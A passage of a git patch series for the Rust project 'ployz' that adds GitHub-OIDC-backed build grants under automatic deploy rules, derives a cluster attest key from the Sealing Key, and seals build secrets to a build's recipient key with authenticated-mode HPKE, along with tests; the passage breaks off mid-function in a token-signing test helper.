From e26fab1b31d7f7295370c4ce6c5c4649ff000757 Mon Sep 17 00:00:00 2001 From: Nick Potts Date: Mon, 9 Nov 2026 12:22:36 +0000 Subject: [PATCH 01/10] Carry a rule build's proof in MintBuildGrant and seal build secrets from the attest key --- core/crates/ployz-core/src/authority/rule.rs | 21 ++ core/crates/ployz-core/src/rpc.rs | 6 + core/crates/ployz-core/src/rpc/build_grant.rs | 56 ++++ core/crates/ployz-core/src/rpc_catalog.rs | 1 + core/crates/ployz-core/src/sealed_record.rs | 267 ++++++++++++++++++ core/crates/ployz-core/tests/contract.rs | 1 + core/crates/ployz-core/tests/runtime_watch.rs | 2 + core/crates/ployz/tests/connect/sdk_watch.rs | 1 + .../ployzd/src/installer/upgrade/tests.rs | 1 + 9 files changed, 356 insertions(+) diff --git a/core/crates/ployz-core/src/authority/rule.rs b/core/crates/ployz-core/src/authority/rule.rs index d25265f29e..4ec6d45578 100644 --- a/core/crates/ployz-core/src/authority/rule.rs +++ b/core/crates/ployz-core/src/authority/rule.rs @@ -196,6 +196,21 @@ pub struct Builder { pub sha: CommitSha, } +/// The commit of `getployz/build` whose reusable workflow a rule approved from the CLI +/// pins by default. +pub const BUILDER_SHA: &str = "0000000000000000000000000000000000000000"; + +impl Builder { + /// `getployz/build`'s reusable workflow at [`BUILDER_SHA`]. + #[must_use] + pub fn pinned() -> Self { + Self { + r#ref: format!("getployz/build/.github/workflows/build.yml@{BUILDER_SHA}"), + sha: CommitSha::parse(BUILDER_SHA).expect("the pinned builder is a commit"), + } + } +} + /// The repository, branch and workflow a rule builds from. #[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize, TS)] #[serde(deny_unknown_fields)] @@ -317,6 +332,12 @@ impl Statement for AutoDeployRule { } impl AutoDeployRule { + /// What the rule approves for `name`, or `None` when it names no such Service. + #[must_use] + pub fn service(&self, name: &ServiceName) -> Option<&RuleService> { + self.services.iter().find(|service| service.name == *name) + } + /// Check a verified GitHub token's claims against this rule, in the order /// `d-build-proof.md` lists them. The audience is the caller's: it depends on the /// holder, recipient or image in hand. diff --git a/core/crates/ployz-core/src/rpc.rs b/core/crates/ployz-core/src/rpc.rs index a8797e6166..dcb86bb7d9 100644 --- a/core/crates/ployz-core/src/rpc.rs +++ b/core/crates/ployz-core/src/rpc.rs @@ -2125,6 +2125,12 @@ pub struct ContractDescription { #[serde(default, skip_serializing_if = "Option::is_none")] #[ts(optional = nullable)] pub sealing: Option, + /// The build attest key the Machine derives from that Sealing Key, which seals build + /// secrets to a rule build's recipient. Absent like `sealing`, and from a daemon that + /// predates rule builds. + #[serde(default, skip_serializing_if = "Option::is_none")] + #[ts(optional = nullable)] + pub attest: Option, } impl ContractDescription { diff --git a/core/crates/ployz-core/src/rpc/build_grant.rs b/core/crates/ployz-core/src/rpc/build_grant.rs index 94d6f95d75..78cc4546f7 100644 --- a/core/crates/ployz-core/src/rpc/build_grant.rs +++ b/core/crates/ployz-core/src/rpc/build_grant.rs @@ -19,6 +19,61 @@ pub struct MintBuildGrantRequest { #[serde(default, skip_serializing_if = "Option::is_none")] #[ts(optional)] pub sealed: Option, + /// A build under an automatic deploy rule: the signed rule and the GitHub token + /// whose audience names this grant. Sent only to a daemon advertising + /// [`crate::BUILD_GRANT_RULE_CAPABILITY`]. Such a daemon checks the token and the + /// commit's authority before it opens `sealed`, and serves the opened values sealed + /// to the build's recipient key only. + #[serde(default, skip_serializing_if = "Option::is_none")] + #[ts(optional)] + pub rule: Option, +} + +/// What a builder under a rule asks a grant with. Everything but the rule and the token +/// is the builder's own word, which the Machine checks by recomputing the token's +/// audience from it. +#[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize, TS)] +#[serde(deny_unknown_fields)] +pub struct RuleGrant { + #[ts(type = "unknown")] + pub rule: crate::authority::Signed, + /// The raw GitHub Actions OIDC token. + pub proof: GithubToken, + pub service: crate::ServiceName, + /// The commit the builder checked out. + pub commit: crate::authority::CommitSha, + pub authority: crate::authority::CommitAuthority, + /// The key the build secrets are sealed to. + pub recipient: crate::authority::RecipientKey, + /// A token that may read the repository's branch head, such as an installation + /// token narrowed to `contents: read`. `None` reads a public repository. + #[serde(default, skip_serializing_if = "Option::is_none")] + #[ts(optional)] + pub reader: Option, +} + +/// A GitHub token. Its Debug never prints it. +#[derive(Clone, Eq, PartialEq, Serialize, Deserialize, TS)] +#[serde(transparent)] +#[ts(type = "string")] +pub struct GithubToken(String); + +impl GithubToken { + #[must_use] + pub const fn new(token: String) -> Self { + Self(token) + } + + #[must_use] + pub fn as_str(&self) -> &str { + &self.0 + } +} + +impl std::fmt::Debug for GithubToken { + fn fmt(&self, formatter: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + formatter.write_str("GithubToken(..)") + } } /// A minted grant. The Machine keeps it in memory only; a restart ends it. @@ -135,6 +190,7 @@ mod tests { repository, holder: None, sealed: None, + rule: None, } ); assert_eq!( diff --git a/core/crates/ployz-core/src/rpc_catalog.rs b/core/crates/ployz-core/src/rpc_catalog.rs index 8086ca0fe1..e8e693ba14 100644 --- a/core/crates/ployz-core/src/rpc_catalog.rs +++ b/core/crates/ployz-core/src/rpc_catalog.rs @@ -131,6 +131,7 @@ macro_rules! rpc_catalog { BUILD_SEALED_CAPABILITY: ("ployz.build.sealed.v1", Always), /// The daemon mints a Build Grant for a holder's own key and returns no grant secret. BUILD_GRANT_HOLDER_CAPABILITY: ("ployz.build.grant.holder.v1", Always), + BUILD_GRANT_RULE_CAPABILITY: ("ployz.build.grant.rule.v1", Always), /// `EnsureContainer` takes a Device-signed restart approval and, under Device enforcement, refuses an Operator's restart step without one. RESTART_APPROVAL_CAPABILITY: ("ployz.restart.device-approval.v2", Always), /// A restart or deploy approval may be signed by a browser key under a trusted passkey's session grant that rides in its envelope. The grant names its Environment's ID, and a deploy under it opens only Sealed values sealed for that Environment. diff --git a/core/crates/ployz-core/src/sealed_record.rs b/core/crates/ployz-core/src/sealed_record.rs index a8376ac124..473ed9c52d 100644 --- a/core/crates/ployz-core/src/sealed_record.rs +++ b/core/crates/ployz-core/src/sealed_record.rs @@ -179,6 +179,273 @@ impl<'de> Deserialize<'de> for OpenedSealed { } } +/// Build secrets on their way from a grant Machine to a rule build: HPKE in authenticated +/// mode (RFC 9180 ยง5.1.3) over X25519, HKDF-SHA256 and ChaCha20-Poly1305. The sender is the +/// Cluster's attest key, which only a Machine holding the Sealing Key can derive, and the +/// info binds one grant audience. So the builder opens only values a Cluster Machine sealed +/// for exactly this build. +#[cfg(not(target_arch = "wasm32"))] +mod build_secrets { + use hpke::{ + Deserializable as _, Kem as _, OpModeR, OpModeS, Serializable as _, + aead::ChaCha20Poly1305, kdf::HkdfSha256, kem::X25519HkdfSha256, + }; + use rand_core::{OsRng, TryRngCore as _}; + use thiserror::Error; + use zeroize::Zeroizing; + + use super::OpenedSealed; + use crate::authority::{AttestKey, RecipientKey}; + + type Kem = X25519HkdfSha256; + const ENCAPPED_KEY_LEN: usize = 32; + + /// What every build-secrets seal is bound under, followed by the grant's audience. + pub const BUILD_SECRETS_INFO: &[u8] = b"ployz build secrets v1"; + + /// An X25519 private key: a build's recipient key, or a Machine's attest key. + pub struct X25519Secret(Zeroizing<[u8; 32]>); + + impl X25519Secret { + #[must_use] + pub fn generate() -> Self { + let (secret, _) = Kem::gen_keypair(&mut OsRng.unwrap_err()); + Self::from_bytes( + secret + .to_bytes() + .as_slice() + .try_into() + .expect("an X25519 private key is 32 bytes"), + ) + } + + #[must_use] + pub fn from_bytes(bytes: [u8; 32]) -> Self { + Self(Zeroizing::new(bytes)) + } + + fn private(&self) -> ::PrivateKey { + ::PrivateKey::from_bytes(self.0.as_slice()) + .expect("an X25519 private key is any 32 bytes") + } + + fn public(&self) -> [u8; 32] { + Kem::sk_to_pk(&self.private()) + .to_bytes() + .as_slice() + .try_into() + .expect("an X25519 public key is 32 bytes") + } + + /// This key's public half, as a build names its recipient. + #[must_use] + pub fn recipient(&self) -> RecipientKey { + RecipientKey::from_bytes(self.public()) + } + + /// This key's public half, as a Cluster names its attest key. + #[must_use] + pub fn attest(&self) -> AttestKey { + AttestKey::from_bytes(self.public()) + } + } + + impl std::fmt::Debug for X25519Secret { + fn fmt(&self, formatter: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + formatter.write_str("X25519Secret(..)") + } + } + + /// Why build secrets could not be sealed or opened. + #[derive(Debug, Error)] + pub enum BuildSecretsError { + #[error("the build secrets could not be sealed")] + Seal, + #[error("the build secrets are not sealed for this build by this Cluster")] + Unopenable, + #[error("the opened build secrets are not a set of values")] + Malformed, + } + + fn info(audience: &str) -> Vec { + let mut info = BUILD_SECRETS_INFO.to_vec(); + info.extend_from_slice(audience.as_bytes()); + info + } + + impl OpenedSealed { + /// Seal these values from `sender` to `recipient`, bound to `audience`: the + /// encapsulated key, then the ciphertext. + /// + /// # Errors + /// Returns [`BuildSecretsError::Seal`] when HPKE refuses. + pub fn seal_for_build( + &self, + sender: &X25519Secret, + recipient: &RecipientKey, + audience: &str, + ) -> Result, BuildSecretsError> { + let recipient = ::PublicKey::from_bytes(recipient.as_bytes()) + .map_err(|_| BuildSecretsError::Seal)?; + let sender_private = sender.private(); + let sender_public = Kem::sk_to_pk(&sender_private); + let plaintext = Zeroizing::new( + serde_json::to_vec(self).map_err(|_| BuildSecretsError::Seal)?, + ); + let (encapped, ciphertext) = + hpke::single_shot_seal::( + &OpModeS::Auth((sender_private, sender_public)), + &recipient, + &info(audience), + &plaintext, + &[], + &mut OsRng.unwrap_err(), + ) + .map_err(|_| BuildSecretsError::Seal)?; + let mut sealed = encapped.to_bytes().to_vec(); + sealed.extend(ciphertext); + Ok(sealed) + } + + /// Open values sealed by [`Self::seal_for_build`] for `recipient`, only if + /// `sender` sealed them, in authenticated mode, for `audience`. + /// + /// # Errors + /// Returns [`BuildSecretsError::Unopenable`] for values sealed by another key, + /// in base mode, for another recipient or another audience, and + /// [`BuildSecretsError::Malformed`] when what opens is not a set of values. + pub fn open_build( + sealed: &[u8], + recipient: &X25519Secret, + sender: &AttestKey, + audience: &str, + ) -> Result { + let (encapped, ciphertext) = sealed + .split_at_checked(ENCAPPED_KEY_LEN) + .ok_or(BuildSecretsError::Unopenable)?; + let encapped = ::EncappedKey::from_bytes(encapped) + .map_err(|_| BuildSecretsError::Unopenable)?; + let sender = ::PublicKey::from_bytes(sender.as_bytes()) + .map_err(|_| BuildSecretsError::Unopenable)?; + let opened = Zeroizing::new( + hpke::single_shot_open::( + &OpModeR::Auth(sender), + &recipient.private(), + &encapped, + &info(audience), + ciphertext, + &[], + ) + .map_err(|_| BuildSecretsError::Unopenable)?, + ); + serde_json::from_slice(&opened).map_err(|_| BuildSecretsError::Malformed) + } + } + + #[cfg(test)] + mod tests { + use std::collections::BTreeMap; + + use super::*; + + const AUDIENCE: &str = "ployz-build:0123"; + const MARKER: &str = "marker-build-secret-42"; + + fn values() -> OpenedSealed { + OpenedSealed::new( + BTreeMap::from([("NPM_TOKEN".into(), MARKER.into())]), + Vec::new(), + ) + } + + #[test] + fn a_build_opens_values_its_clusters_attest_key_sealed_for_it() { + let attest = X25519Secret::generate(); + let recipient = X25519Secret::generate(); + let sealed = values() + .seal_for_build(&attest, &recipient.recipient(), AUDIENCE) + .unwrap(); + assert!(!sealed.windows(MARKER.len()).any(|window| window == MARKER.as_bytes())); + let opened = + OpenedSealed::open_build(&sealed, &recipient, &attest.attest(), AUDIENCE).unwrap(); + assert_eq!(opened.get("NPM_TOKEN"), Some(MARKER)); + } + + #[test] + fn a_build_refuses_values_sealed_by_another_key() { + let attest = X25519Secret::generate(); + let recipient = X25519Secret::generate(); + let sealed = values() + .seal_for_build(&X25519Secret::generate(), &recipient.recipient(), AUDIENCE) + .unwrap(); + assert!(matches!( + OpenedSealed::open_build(&sealed, &recipient, &attest.attest(), AUDIENCE), + Err(BuildSecretsError::Unopenable) + )); + } + + #[test] + fn a_build_refuses_values_sealed_for_another_audience() { + let attest = X25519Secret::generate(); + let recipient = X25519Secret::generate(); + let sealed = values() + .seal_for_build(&attest, &recipient.recipient(), "ployz-build:other") + .unwrap(); + assert!(matches!( + OpenedSealed::open_build(&sealed, &recipient, &attest.attest(), AUDIENCE), + Err(BuildSecretsError::Unopenable) + )); + } + + #[test] + fn a_build_refuses_values_sealed_in_base_mode() { + let attest = X25519Secret::generate(); + let recipient = X25519Secret::generate(); + let public = ::PublicKey::from_bytes( + recipient.recipient().as_bytes(), + ) + .unwrap(); + let plaintext = serde_json::to_vec(&values()).unwrap(); + let (encapped, ciphertext) = + hpke::single_shot_seal::( + &OpModeS::Base, + &public, + &info(AUDIENCE), + &plaintext, + &[], + &mut OsRng.unwrap_err(), + ) + .unwrap(); + let mut sealed = encapped.to_bytes().to_vec(); + sealed.extend(ciphertext); + assert!(matches!( + OpenedSealed::open_build(&sealed, &recipient, &attest.attest(), AUDIENCE), + Err(BuildSecretsError::Unopenable) + )); + } + + #[test] + fn a_build_refuses_values_sealed_to_another_recipient() { + let attest = X25519Secret::generate(); + let sealed = values() + .seal_for_build(&attest, &X25519Secret::generate().recipient(), AUDIENCE) + .unwrap(); + assert!(matches!( + OpenedSealed::open_build( + &sealed, + &X25519Secret::generate(), + &attest.attest(), + AUDIENCE + ), + Err(BuildSecretsError::Unopenable) + )); + } + } +} + +#[cfg(not(target_arch = "wasm32"))] +pub use build_secrets::{BUILD_SECRETS_INFO, BuildSecretsError, X25519Secret}; + #[cfg(test)] mod tests { use super::*; diff --git a/core/crates/ployz-core/tests/contract.rs b/core/crates/ployz-core/tests/contract.rs index 16b940615c..e783636245 100644 --- a/core/crates/ployz-core/tests/contract.rs +++ b/core/crates/ployz-core/tests/contract.rs @@ -647,6 +647,7 @@ fn per_machine_capability_fixture_is_stable_and_additive() { CapabilityName::parse(DESCRIBE_CONTRACT_CAPABILITY).unwrap(), ]), sealing: None, + attest: None, }; assert!(description.supports(DESCRIBE_CONTRACT_CAPABILITY)); diff --git a/core/crates/ployz-core/tests/runtime_watch.rs b/core/crates/ployz-core/tests/runtime_watch.rs index 6dfe092eef..beeddd5a3e 100644 --- a/core/crates/ployz-core/tests/runtime_watch.rs +++ b/core/crates/ployz-core/tests/runtime_watch.rs @@ -29,6 +29,7 @@ fn runtime_watch_capability_is_always_advertised_and_not_inferred_from_daemon_ve daemon_version: "9.9.9".into(), capabilities: BTreeSet::new(), sealing: None, + attest: None, }; assert!(!old_daemon.supports(RUNTIME_WATCH_CAPABILITY)); @@ -40,6 +41,7 @@ fn runtime_watch_capability_is_always_advertised_and_not_inferred_from_daemon_ve ployz_core::CapabilityName::parse(RUNTIME_WATCH_CAPABILITY).unwrap() ]), sealing: None, + attest: None, }; assert!(new_daemon.supports(RUNTIME_WATCH_CAPABILITY)); } diff --git a/core/crates/ployz/tests/connect/sdk_watch.rs b/core/crates/ployz/tests/connect/sdk_watch.rs index 4306725209..e63daad1d6 100644 --- a/core/crates/ployz/tests/connect/sdk_watch.rs +++ b/core/crates/ployz/tests/connect/sdk_watch.rs @@ -521,6 +521,7 @@ fn watch_description() -> ContractDescription { ] .into(), sealing: None, + attest: None, } } diff --git a/core/crates/ployzd/src/installer/upgrade/tests.rs b/core/crates/ployzd/src/installer/upgrade/tests.rs index 2c2d15b209..303155a270 100644 --- a/core/crates/ployzd/src/installer/upgrade/tests.rs +++ b/core/crates/ployzd/src/installer/upgrade/tests.rs @@ -668,6 +668,7 @@ impl tonic::server::UnaryService for Contract { daemon_version: self.0.clone(), capabilities: BTreeSet::new(), sealing: None, + attest: None, }) .encode() .unwrap(), From e913eb313dc4028813c94e8cc4f8e5b581517f4a Mon Sep 17 00:00:00 2001 From: Nick Potts Date: Mon, 9 Nov 2026 12:30:58 +0000 Subject: [PATCH 02/10] Derive the Cluster's build attest key from the Sealing Key and report it --- core/crates/ployz-testkit/src/fake_fleet.rs | 1 + core/crates/ployz/src/sdk/github_build.rs | 1 + core/crates/ployz/tests/build_layer3/grant.rs | 1 + .../ployzd/src/machine/local_machine.rs | 18 ++++++++++++ core/crates/ployzd/src/machine_api/local.rs | 1 + .../ployzd/src/machine_api/local_tests.rs | 1 + .../ployzd/src/management/build_grant.rs | 1 + core/crates/ployzd/src/sealed_env.rs | 8 +++++ core/crates/ployzd/src/sealing_key.rs | 29 +++++++++++++++++++ .../crates/ployzd/tests/management_connect.rs | 2 ++ 10 files changed, 63 insertions(+) diff --git a/core/crates/ployz-testkit/src/fake_fleet.rs b/core/crates/ployz-testkit/src/fake_fleet.rs index c8dffa84fb..4bd13d8d35 100644 --- a/core/crates/ployz-testkit/src/fake_fleet.rs +++ b/core/crates/ployz-testkit/src/fake_fleet.rs @@ -746,6 +746,7 @@ impl Fleet { .flat_map(CapabilityAdvertisement::capabilities) .collect::>(), sealing: None, + attest: None, } .into(), ) diff --git a/core/crates/ployz/src/sdk/github_build.rs b/core/crates/ployz/src/sdk/github_build.rs index af2e65f599..ce1800e541 100644 --- a/core/crates/ployz/src/sdk/github_build.rs +++ b/core/crates/ployz/src/sdk/github_build.rs @@ -331,6 +331,7 @@ async fn mint( repository: repository(id)?, holder, sealed, + rule: None, }) .await?; Ok(Some((details.id, minted))) diff --git a/core/crates/ployz/tests/build_layer3/grant.rs b/core/crates/ployz/tests/build_layer3/grant.rs index b835c1aded..4d4f6cc90c 100644 --- a/core/crates/ployz/tests/build_layer3/grant.rs +++ b/core/crates/ployz/tests/build_layer3/grant.rs @@ -61,6 +61,7 @@ async fn ployz_build_pushes_into_a_machine_with_a_build_grant() { repository: ployz_core::BuildGrantRepository::parse("ployz-build/app").unwrap(), holder: None, sealed: None, + rule: None, }) .await .unwrap(); diff --git a/core/crates/ployzd/src/machine/local_machine.rs b/core/crates/ployzd/src/machine/local_machine.rs index cc80ea187d..2b1e1c0c7a 100644 --- a/core/crates/ployzd/src/machine/local_machine.rs +++ b/core/crates/ployzd/src/machine/local_machine.rs @@ -638,6 +638,24 @@ impl LocalMachine { .map(|public_key| ployz_core::Sealing::Held { public_key }) } + /// The build attest key this Machine derives from the Sealing Key its file holds, on + /// the phases [`Self::held_sealing`] reports one. + pub(crate) fn held_attest( + &self, + phase: LocalMachinePhase, + ) -> Option { + if !matches!( + phase, + LocalMachinePhase::Joining | LocalMachinePhase::Participating + ) { + return None; + } + SealingKey::load(self.owner.data_dir()) + .ok() + .flatten() + .map(|key| key.attest().attest()) + } + /// The key this Machine's file holds, or, when it holds none, the key a recovery /// awaits as Generate reads it, and otherwise that it needs access. `None` when the /// file or the Cluster's Sealing could not be read. diff --git a/core/crates/ployzd/src/machine_api/local.rs b/core/crates/ployzd/src/machine_api/local.rs index 232ede5160..f8071dc214 100644 --- a/core/crates/ployzd/src/machine_api/local.rs +++ b/core/crates/ployzd/src/machine_api/local.rs @@ -300,6 +300,7 @@ impl MachineRpc for MachineService { daemon_version: env!("CARGO_PKG_VERSION").to_owned(), capabilities, sealing: self.local.held_sealing(record.phase()), + attest: self.local.held_attest(record.phase()), }) } diff --git a/core/crates/ployzd/src/machine_api/local_tests.rs b/core/crates/ployzd/src/machine_api/local_tests.rs index b329666efa..45bccfc39a 100644 --- a/core/crates/ployzd/src/machine_api/local_tests.rs +++ b/core/crates/ployzd/src/machine_api/local_tests.rs @@ -4855,6 +4855,7 @@ mod ensure_container { repository: ployz_core::BuildGrantRepository::parse("ployz-build/web").unwrap(), holder: Some(ployz_core::BuildGrantId::parse(holder).unwrap()), sealed: Some(foreign_sealed()), + rule: None, }) .encode() .unwrap(); diff --git a/core/crates/ployzd/src/management/build_grant.rs b/core/crates/ployzd/src/management/build_grant.rs index c14af2e827..0007e0c4e3 100644 --- a/core/crates/ployzd/src/management/build_grant.rs +++ b/core/crates/ployzd/src/management/build_grant.rs @@ -646,6 +646,7 @@ mod tests { repository: BuildGrantRepository::parse("ployz-build/web").unwrap(), holder: holder.map(|holder| BuildGrantId::parse(holder).unwrap()), sealed: None, + rule: None, } } diff --git a/core/crates/ployzd/src/sealed_env.rs b/core/crates/ployzd/src/sealed_env.rs index 125d5d6b68..7434dfccd5 100644 --- a/core/crates/ployzd/src/sealed_env.rs +++ b/core/crates/ployzd/src/sealed_env.rs @@ -410,6 +410,14 @@ pub(crate) fn open_private_access_key( .ok_or(OpenError::PrivateAccessKey) } +/// The Cluster's build attest key pair, derived from the Sealing Key in `key_dir`. +/// +/// # Errors +/// Returns [`OpenError::KeyMissing`] or [`OpenError::KeyUnreadable`] as opening does. +pub(crate) fn attest_key(key_dir: Option<&Path>) -> Result { + Ok(load(key_dir)?.attest()) +} + fn load(key_dir: Option<&Path>) -> Result { let dir = key_dir.ok_or(OpenError::KeyMissing)?; SealingKey::load(dir) diff --git a/core/crates/ployzd/src/sealing_key.rs b/core/crates/ployzd/src/sealing_key.rs index 771d3c2106..4beec7414d 100644 --- a/core/crates/ployzd/src/sealing_key.rs +++ b/core/crates/ployzd/src/sealing_key.rs @@ -20,6 +20,9 @@ use crate::network::WireGuardPrivateKey; const FILE_NAME: &str = "sealing.key"; const INFO: &[u8] = b"ployz-sealing-key-v1"; const SHARE_INFO: &[u8] = b"ployz-sealing-key-share-v1"; +/// Distinct from every other label this key is expanded or sealed under, such as the join +/// confirmation's and the Sealed values' associated data. +const ATTEST_INFO: &[u8] = b"ployz build-secrets attest v1"; const ENCAPPED_KEY_LEN: usize = 32; type Kem = X25519HkdfSha256; @@ -111,6 +114,17 @@ impl SealingKey { SealingPublicKey::from_bytes(Kem::sk_to_pk(&self.private()).to_bytes().into()) } + /// The Cluster's build attest key pair. Every Machine holding this Sealing Key derives + /// the same one, and nothing without the Sealing Key can. It seals build secrets to a + /// rule build, which writes its public half into the image token. + pub(crate) fn attest(&self) -> ployz_core::X25519Secret { + let mut key = Zeroizing::new([0; 32]); + hkdf::Hkdf::::new(None, &self.0) + .expand(ATTEST_INFO, key.as_mut()) + .expect("32 bytes is a valid HKDF-SHA256 output length"); + ployz_core::X25519Secret::from_bytes(*key) + } + /// Classifies `/sealing.key`: 32 bytes are the key, no file is /// [`KeyFile::Absent`], and any other length is [`KeyFile::Unusable`]. /// @@ -689,6 +703,21 @@ mod tests { } } + #[test] + fn every_holder_of_a_sealing_key_derives_the_same_attest_key_and_no_other_key_does() { + let key = SealingKey([7; 32]); + let attest = key.attest().attest(); + assert_eq!(SealingKey([7; 32]).attest().attest(), attest); + assert_ne!(SealingKey([8; 32]).attest().attest(), attest); + assert_ne!(attest.as_bytes(), key.public_key().as_bytes()); + // Computed apart from this code, with Python's hmac and cryptography: HKDF-SHA256 + // with no salt, then X25519. A change strands every image token minted before it. + assert_eq!( + attest.to_string(), + "f68dfa2222a3be1f41768b8b1e5ddc3baeaa6b05b4462501fa74f583068ee215" + ); + } + #[test] fn sealing_key_uses_the_wireguard_public_key_as_the_hpke_recipient() { let wireguard = WireGuardPrivateKey::generate(); diff --git a/core/crates/ployzd/tests/management_connect.rs b/core/crates/ployzd/tests/management_connect.rs index e35e4f63e9..1e08445be8 100644 --- a/core/crates/ployzd/tests/management_connect.rs +++ b/core/crates/ployzd/tests/management_connect.rs @@ -1596,6 +1596,7 @@ async fn enforcement_contract() { repository: ployz_core::BuildGrantRepository::parse("ployz-build/web").unwrap(), holder: Some(id), sealed: None, + rule: None, }; let minted = machine .grants @@ -1772,6 +1773,7 @@ impl GrantMachine { repository: ployz_core::BuildGrantRepository::parse("ployz-build/web").unwrap(), holder, sealed: None, + rule: None, }; self.grants .mint( From 9772deb8901643c291daf5099a5c8607868188c7 Mon Sep 17 00:00:00 2001 From: Nick Potts Date: Mon, 9 Nov 2026 12:51:56 +0000 Subject: [PATCH 03/10] Admit a rule build's grant on the Machine's own checks and seal its secrets from the attest key --- .../ployz-core/src/authority/refusal.rs | 2 + core/crates/ployz-core/src/sealed_record.rs | 22 +- core/crates/ployzd/src/github/mod.rs | 3 + core/crates/ployzd/src/github/oidc_tests.rs | 52 +- core/crates/ployzd/src/github/test_support.rs | 63 +++ .../ployzd/src/machine/local_machine.rs | 11 + .../machine/local_machine/deploy_approval.rs | 3 +- .../machine/local_machine/restart_approval.rs | 92 +++- .../src/machine/local_machine/rule_grant.rs | 262 +++++++++ .../machine/local_machine/rule_grant_tests.rs | 503 ++++++++++++++++++ core/crates/ployzd/src/machine/mod.rs | 2 +- core/crates/ployzd/src/machine_api/local.rs | 79 ++- .../ployzd/src/machine_api/local_tests.rs | 64 +++ .../ployzd/src/management/build_grant.rs | 314 +++++++++-- 14 files changed, 1346 insertions(+), 126 deletions(-) create mode 100644 core/crates/ployzd/src/github/test_support.rs create mode 100644 core/crates/ployzd/src/machine/local_machine/rule_grant.rs create mode 100644 core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs diff --git a/core/crates/ployz-core/src/authority/refusal.rs b/core/crates/ployz-core/src/authority/refusal.rs index 102004a68e..c639175b8b 100644 --- a/core/crates/ployz-core/src/authority/refusal.rs +++ b/core/crates/ployz-core/src/authority/refusal.rs @@ -27,4 +27,6 @@ pub enum AuthorityRefusal { NoClusterIdentity, #[error("operation {operation} already ran this step; a new restart signs a new approval")] Replayed { operation: OperationId }, + #[error("this GitHub token already minted a Build Grant; a build asks for a new one")] + ProofReplayed, } diff --git a/core/crates/ployz-core/src/sealed_record.rs b/core/crates/ployz-core/src/sealed_record.rs index 473ed9c52d..89e6450ce7 100644 --- a/core/crates/ployz-core/src/sealed_record.rs +++ b/core/crates/ployz-core/src/sealed_record.rs @@ -187,8 +187,8 @@ impl<'de> Deserialize<'de> for OpenedSealed { #[cfg(not(target_arch = "wasm32"))] mod build_secrets { use hpke::{ - Deserializable as _, Kem as _, OpModeR, OpModeS, Serializable as _, - aead::ChaCha20Poly1305, kdf::HkdfSha256, kem::X25519HkdfSha256, + Deserializable as _, Kem as _, OpModeR, OpModeS, Serializable as _, aead::ChaCha20Poly1305, + kdf::HkdfSha256, kem::X25519HkdfSha256, }; use rand_core::{OsRng, TryRngCore as _}; use thiserror::Error; @@ -289,9 +289,8 @@ mod build_secrets { .map_err(|_| BuildSecretsError::Seal)?; let sender_private = sender.private(); let sender_public = Kem::sk_to_pk(&sender_private); - let plaintext = Zeroizing::new( - serde_json::to_vec(self).map_err(|_| BuildSecretsError::Seal)?, - ); + let plaintext = + Zeroizing::new(serde_json::to_vec(self).map_err(|_| BuildSecretsError::Seal)?); let (encapped, ciphertext) = hpke::single_shot_seal::( &OpModeS::Auth((sender_private, sender_public)), @@ -365,7 +364,11 @@ mod build_secrets { let sealed = values() .seal_for_build(&attest, &recipient.recipient(), AUDIENCE) .unwrap(); - assert!(!sealed.windows(MARKER.len()).any(|window| window == MARKER.as_bytes())); + assert!( + !sealed + .windows(MARKER.len()) + .any(|window| window == MARKER.as_bytes()) + ); let opened = OpenedSealed::open_build(&sealed, &recipient, &attest.attest(), AUDIENCE).unwrap(); assert_eq!(opened.get("NPM_TOKEN"), Some(MARKER)); @@ -401,10 +404,9 @@ mod build_secrets { fn a_build_refuses_values_sealed_in_base_mode() { let attest = X25519Secret::generate(); let recipient = X25519Secret::generate(); - let public = ::PublicKey::from_bytes( - recipient.recipient().as_bytes(), - ) - .unwrap(); + let public = + ::PublicKey::from_bytes(recipient.recipient().as_bytes()) + .unwrap(); let plaintext = serde_json::to_vec(&values()).unwrap(); let (encapped, ciphertext) = hpke::single_shot_seal::( diff --git a/core/crates/ployzd/src/github/mod.rs b/core/crates/ployzd/src/github/mod.rs index 0fcdc0119b..5014087e44 100644 --- a/core/crates/ployzd/src/github/mod.rs +++ b/core/crates/ployzd/src/github/mod.rs @@ -3,3 +3,6 @@ pub mod head; pub mod oidc; + +#[cfg(test)] +pub(crate) mod test_support; diff --git a/core/crates/ployzd/src/github/oidc_tests.rs b/core/crates/ployzd/src/github/oidc_tests.rs index 9c499979f2..6f96f4c11f 100644 --- a/core/crates/ployzd/src/github/oidc_tests.rs +++ b/core/crates/ployzd/src/github/oidc_tests.rs @@ -13,21 +13,15 @@ use ployz_core::{ rule::{Builder, RuleEvent, RuleSource, Runner}, }, }; -use ring::{ - hmac, - rand::SystemRandom, - signature::{RSA_PKCS1_SHA256, RsaKeyPair}, -}; +use ring::hmac; use serde_json::{Value, json}; use super::*; +use crate::github::test_support::{TEST_KID, encode, keys_with_test_signer, signed_by_test_signer}; const TOKEN: &str = include_str!("fixtures/token.jwt"); const JWKS: &[u8] = include_bytes!("fixtures/jwks.json"); const CLAIMS: &str = include_str!("fixtures/claims.json"); -/// An RSA key made with `openssl genpkey` for these tests. It signs nothing outside them. -const TEST_SIGNER: &[u8] = include_bytes!("fixtures/test-signer.pk8"); -const TEST_KID: &str = "test-signer"; fn token() -> &'static str { TOKEN.trim() @@ -62,48 +56,6 @@ fn header_of(token: &str) -> Value { serde_json::from_slice(&URL_SAFE_NO_PAD.decode(header).unwrap()).unwrap() } -fn encode(value: &Value) -> String { - URL_SAFE_NO_PAD.encode(serde_json::to_vec(value).unwrap()) -} - -fn test_signer() -> RsaKeyPair { - RsaKeyPair::from_pkcs8(TEST_SIGNER).unwrap() -} - -/// GitHub's keys with the test signer's added under [`TEST_KID`]. -fn keys_with_test_signer() -> KeySet { - let public = RsaPublicKeyComponents::>::from(test_signer().public()); - let mut jwks: Value = serde_json::from_slice(JWKS).unwrap(); - jwks["keys"].as_array_mut().unwrap().push(json!({ - "kty": "RSA", - "alg": "RS256", - "kid": TEST_KID, - "n": URL_SAFE_NO_PAD.encode(&public.n), - "e": URL_SAFE_NO_PAD.encode(&public.e), - })); - KeySet::parse(&serde_json::to_vec(&jwks).unwrap()).unwrap() -} - -/// A token over `claims`, RS256-signed by the test signer and naming `kid`. -fn signed_by_test_signer(kid: &str, claims: &Value) -> String { - let signer = test_signer(); - let signed = format!( - "{}.{}", - 